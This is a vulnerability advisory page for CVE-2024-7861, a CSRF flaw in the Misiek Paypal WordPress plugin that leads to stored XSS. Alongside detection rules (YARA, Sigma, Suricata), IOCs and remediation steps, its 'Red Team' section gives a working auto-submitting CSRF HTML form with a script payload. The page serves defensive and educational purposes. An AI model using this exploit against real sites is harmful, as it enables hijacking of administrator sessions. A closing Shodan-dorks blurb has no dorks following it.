CVE-2024-7861
Executive Summary
CVE-2024-7861 is a Cross-Site Request Forgery (CSRF) vulnerability in the Misiek Paypal WordPress plugin (versions through 1.1.20090324). The plugin fails to implement CSRF tokens in certain administrative actions and also lacks input sanitization and output escaping. This allows an attacker to craft a malicious link or page that, when visited by an authenticated administrator, can force the admin to unknowingly add Stored Cross-Site Scripting (XSS) payloads. The stored XSS can then execute arbitrary JavaScript in the context of other users visiting the affected WordPress admin pages, leading to session hijacking, defacement, or further compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is outdated (last updated in 2009) and is no longer maintained. Users are advised to remove the plugin immediately as no patch is available. The supply chain risk is high due to the lack of updates and the plugin's ability to introduce persistent XSS into the WordPress admin dashboard.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must click a link)
- Scope: Unchanged
- Confidentiality Impact: Low (potential data exfiltration via XSS)
- Integrity Impact: Low (stored XSS payloads)
- Availability Impact: None
Threat Level: Medium. Exploitation requires social engineering to trick an admin into performing an action, but the impact includes persistent XSS that can affect all admin users.
Deep Dive & Mechanics
The vulnerability resides in the Misiek Paypal plugin's administrative interface. The plugin does not implement CSRF nonces for its settings or action endpoints. Additionally, user-supplied input (e.g., PayPal email, transaction details) is not sanitized before being stored in the database, and output is not escaped when rendered in the admin panel.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing a CSRF request to the vulnerable plugin endpoint (e.g.,
wp-admin/admin-post.php?action=misiek_paypal_update). - The request includes a payload like
<script>alert('XSS')</script>in a parameter that is stored in the database. - The attacker sends the link to a logged-in WordPress admin.
- The admin's browser executes the request, and the payload is stored.
- When the admin (or any other user) visits the plugin's settings page, the stored payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.
Vulnerable vs. Patched Code
Vulnerable Code (misiek-paypal.php):
// No CSRF check
if (isset($_POST['update'])) {
update_option('misiek_paypal_email', $_POST['paypal_email']); // No sanitization
}
// Output without escaping
echo '<input type="text" name="paypal_email" value="' . get_option('misiek_paypal_email') . '" />';
Patched Code (Hypothetical):
// Add CSRF check
if (isset($_POST['update']) && wp_verify_nonce($_POST['_wpnonce'], 'misiek_paypal_update')) {
update_option('misiek_paypal_email', sanitize_email($_POST['paypal_email']));
}
// Escape output
echo '<input type="text" name="paypal_email" value="' . esc_attr(get_option('misiek_paypal_email')) . '" />';
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with the Misiek Paypal plugin (version <= 1.1.20090324) activated.
- An admin user session.
Exploit Steps:
- Create a malicious HTML file (
csrf_exploit.html):
<html>
<body>
<form action="http://target/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="misiek_paypal_update" />
<input type="hidden" name="paypal_email" value="attacker@evil.com<script>alert('XSS')</script>" />
<input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the file on an attacker-controlled server.
- Send the link to the admin (e.g., via email or social engineering).
- Once the admin visits the link, the CSRF request is sent, and the XSS payload is stored.
- The payload executes when the admin visits the plugin settings page.
Blue Team
Detection:
- Monitor for unusual POST requests to
admin-post.phpwith actionmisiek_paypal_updatefrom non-admin IPs. - Look for unexpected changes to the
misiek_paypal_emailoption in the database. - Use WAF rules to block requests containing
<script>tags in POST parameters.
Hunting:
- Query the database for stored XSS patterns in
wp_optionswhereoption_name=misiek_paypal_email. - Review server logs for CSRF-like patterns (e.g., missing Referer header).
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/misiek-paypal/misiek-paypal.php - Database Entry:
wp_optionstable withoption_name=misiek_paypal_emailcontaining JavaScript payloads. - Network: POST requests to
/wp-admin/admin-post.phpwithaction=misiek_paypal_updateand suspicious parameters. - Logs: Access logs showing
admin-post.phprequests with unusual Referer headers.
Detection Engineering
YARA Rule
rule CVE_2024_7861_Misiek_Paypal_CSRF_XSS {
meta:
description = "Detects Misiek Paypal plugin files vulnerable to CSRF and Stored XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7861"
strings:
$vuln_func = "update_option('misiek_paypal_email'" nocase
$no_nonce = "wp_verify_nonce" nocase
$no_escape = "esc_attr" nocase
condition:
$vuln_func and not $no_nonce and not $no_escape
}
Sigma Rule
title: CVE-2024-7861 Misiek Paypal CSRF to Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting the Misiek Paypal plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-post.php'
cs-uri-query: 'action=misiek_paypal_update'
condition: selection
falsepositives:
- Legitimate admin updates (rare)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2024-7861 Misiek Paypal CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-post.php"; http_uri;
content:"action=misiek_paypal_update"; http_client_body;
pcre:"/<script[^>]*>/i";
sid:1000001;
rev:1;
reference:cve,2024-7861;
)
Remediation & Mitigation
Immediate Actions:
- Remove the plugin: Deactivate and delete the Misiek Paypal plugin from all WordPress installations.
- Scan for XSS: Check the
wp_optionstable for any stored malicious payloads inmisiek_paypal_emailand remove them. - Rotate admin credentials: If any admin session was compromised, rotate all admin passwords and session tokens.
Long-term Mitigation:
- Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS attempts.
- Enforce the use of CSRF tokens in all admin actions via custom code or security plugins.
- Regularly audit and update all WordPress plugins.
Patch Status: UNKNOWN / UNPATCHED. No official patch is available. The plugin is abandoned.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.